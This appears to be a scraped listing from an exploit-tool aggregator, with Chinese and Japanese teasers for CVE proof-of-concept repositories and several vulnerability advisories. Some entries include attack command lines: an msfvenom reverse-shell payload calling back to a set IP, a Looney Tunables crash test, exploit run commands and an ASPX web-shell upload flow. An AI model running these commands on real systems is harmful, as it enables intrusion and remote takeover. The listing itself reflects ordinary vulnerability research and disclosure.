f5-bigip-rce-cve-2020-5902

F5 BIG-IP RCE（CVE-2020-5902）漏洞检测工具 Summary 20200706，网上曝出F5 BIG-IP TMUI RCE漏洞。 F5 BIG-IP的TMUI组件（流量管理用户界面）存在认证绕过漏洞，该漏洞在于Tomcat解析的URL与request.getPathInfo存在差异，导致可绕过权限验证，未授权访问TMUI模块所有功能，进而可以读取/写入任意文件，命令执行等。 详情参考F5 BIG-IP TMUI RCE漏洞（CVE-2020-5902）重现及注意点...

CVE-2024-39930-PoC

CVE-2024-39930-PoC CVE-2024-39930 gogs ssh服务器RCE的漏洞利用代码...

CVE-2024-38063

CVE-2024-38063 - Windows TCP/IP 远程代码执行漏洞...

CVE-2024-6387

CVE-2024-6387 : regreSSHion OpenSSH 服务器远程未授权代码执行漏洞检测工具 CVEHunter 是一款针对 CVE-2024-6387 的漏洞检测工具，采用异步性能。 💻 安装 root@kitploit: git clone https://github.com/th3gokul/CVE-2024-6387.git cd CVE-2024-6387 pip install -r requirements.txt python3 cvehunter.py --help 🚀 使用方法 root@kitploit: python3 cvehunter.py ...

ppsx-file-generator

介绍 作者：Temesgen Yibeltal [email protected]（基于 https://github.com/bhdresh/CVE-2017-8570 的代码，该仓库现已删除） ppsx-file-generator 是一个 Python 工具，它基于现有文件生成一个能够从远程源执行代码的 PowerPoint 幻灯片文件。 它有什么作用？ 该工具根据用户提供的输入生成一个 PowerPoint 幻灯片文件和一个 XML 文件。PowerPoint 文件会访问包含载荷文件信息的 XML 文件。攻击者可以将 XML...

EUVD-2026-80050

Heap-based buffer overflow in Microsoft Edge Chromium-based allows an unauthorized attacker to execute code over a network...

EUVD-2026-80068

An attacker can craft a malicious link that, if used by a legitimate user, may cause the user's browser to run JavaScript supplied by the attacker...

EUVD-2026-80049

A flaw was found in the file-psd plugin in GIMP. When generating a thumbnail preview for a specially crafted PSD Photoshop Document image file, an integer overflow occurs during the multiplication of values from an embedded JPEG header. This leads to an undersized heap allocation, resulting in a...

EUVD-2026-80033

Netcore NR255-V version 1.5.130703 contains a stack-based buffer overflow in ntoolstcpdumpstartset.cgi caused by an unsized sprintf call when processing form values. An attacker can submit crafted input to this cgi endpoint to overflow the stack buffer and potentially execute arbitrary code...

looneyCVE

ステップ 1 glibc のバージョンを確認します root@kitploit: ldd --version マシンが Looney Tunables CVE-2023-4911 に対して脆弱かどうかを確認します root@kitploit: env -i "GLIBCTUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Segmentation fault core dumped が表示された場合、マシンは脆弱です。 ステップ 2...

CVE-2019-0708

远程桌面服务（Remote Desktop Services，原称终端服务）中存在一个远程代码执行漏洞，当未经身份验证的攻击者使用 RDP 连接到目标系统并发送特制请求时，可能触发该漏洞。此漏洞存在于身份验证之前，且无需用户交互。成功利用此漏洞的攻击者可在目标系统上执行任意代码，进而能够安装程序；查看、更改或删除数据；或创建拥有完全用户权限的新帐户。要利用此漏洞，攻击者需要通过 RDP 向目标系统的远程桌面服务发送特制请求。该更新通过修正远程桌面服务处理连接请求的方式来修复此漏洞。...

ysoserial-cve-2018-2628

ysoserial-cve-2018-2628 0x1. 准备工作 准备好POC脚本及Payload Object生成、JRMPListener运行所需软件环境 Python 2.7.x Oracle Java SE 1.7+ 准备好一套安装好Patch Set Update 180417补丁的WebLogic Server 10.3.6环境（仅有AdminServer即可） 如果有现成的、已经安装好这个PSU版本的WebLogic环境，则可跳过这一步。 准备好POC工具 从本项目里下载POC脚本（wls-cve-2018-2628-poc.py）...

CVE-2021-34371

CVE-2021-34371 python 漏洞利用 - Neo4j 3.4.18 - 基于 RMI 的远程代码执行 RCE...

CVE-2025-52691

CVE-2025-52691 SmarterMail 未授权任意文件上传远程代码执行 概述 严重未授权任意文件上传，允许远程代码执行。 字段| 值 ---|--- 产品| SmarterMail 受影响版本| Build 9406 及更早 CVSS| 10.0（严重） 类型| 任意文件上传 攻击向量| HTTP（未授权） 影响| 远程代码执行 攻击流程 root@kitploit: flowchart LR AAttacker -- B"Find Upload Endpoint" B -- C"/api/upload" C -- D"Upload ASPX Shell" D --...

CVE-2025-55182-Lab

CVE-2025-55182 实验环境 用于利用 CVE-2025-55182 React2Shell 的动手实验环境 — React 服务端组件中的远程代码执行。 ⚠️ 免责声明 仅用于教育目的。 仅在你拥有的系统上进行测试。 快速开始 root@kitploit: 克隆并启动 git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab.git cd CVE-2025-55182-Lab docker-compose up -d 等待20秒，然后利用 python3 exploit.py...

CVE-2025-69460

CVE-2025-69460 – Simple Image Gallery 1.0 远程代码执行 RCE 未授权 WriteUp CVE-2025-69460 – ExploitDB 50214...

CVE-2019-12949

CVE-2019-12949 从跨站脚本漏洞到 pfSense 2.4.4-p2 和 2.4.4-p3 的远程代码执行 信息描述： 在 pfSense 2.4.4-p2 和 2.4.4-p3 中，如果能够诱使已认证的管理员点击钓鱼页面上的按钮，攻击者可以通过 dingcommand.php 和 rrdfetchjson.php 将任意可执行代码上传到服务器。然后，远程攻击者可以在该服务器上以 root 权限运行任何命令。 研究员：The Tarantula Team 的 Enter，VinCSS（Vingroup 成员） PoC XSS...

CVE-2018-20250

环境搭建 视频演示：https://youtu.be/5tuWsi1tGS0 VirtualBox 虚拟机：https://j2c.cc/virtualbox-machine Winrar 5.5 32位：https://j2c.cc/winrar-550-32bit 操作步骤 Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: root@kitploit: git clone...

CVE-2022-22947-Spring-Cloud-Gateway

Spring Cloud Gateway 远程代码执行漏洞 该漏洞对于线上业务风险较高，切勿进行未授权扫描 使用说明 root@kitploit: ╰─ ./CVE-2022-22947 -h ─╯ 执行命令：./CVE-2022-22947 -u http://127.0.0.1:8080 -c whoami 批量检测：./CVE-2022-22947 -l url.txt 启动漏洞环境 root@kitploit: java -jar vuln/spring-gateway-demo-0.0.1-SNAPSHOT.jar 漏洞分为5个请求...

Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment

Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment 目标：在模拟的银行应用环境中演示 Log4Shell 漏洞（CVE-2021-44228）的利用。 范围： 1: 搭建一个使用 Apache Log4j 的易受攻击的银行应用程序。 2: 构造利用漏洞的载荷，实现远程代码执行。 3: 演示利用后技术，例如数据外泄和横向移动。 4: 实施并记录检测与缓解策略，包括补丁安装和网络监控。 5: 详细讲解利用过程，包括所使用的工具（例如 JNDI Exploit Kit、Burp Suite）。 让我们深入探讨如何构造一个利用...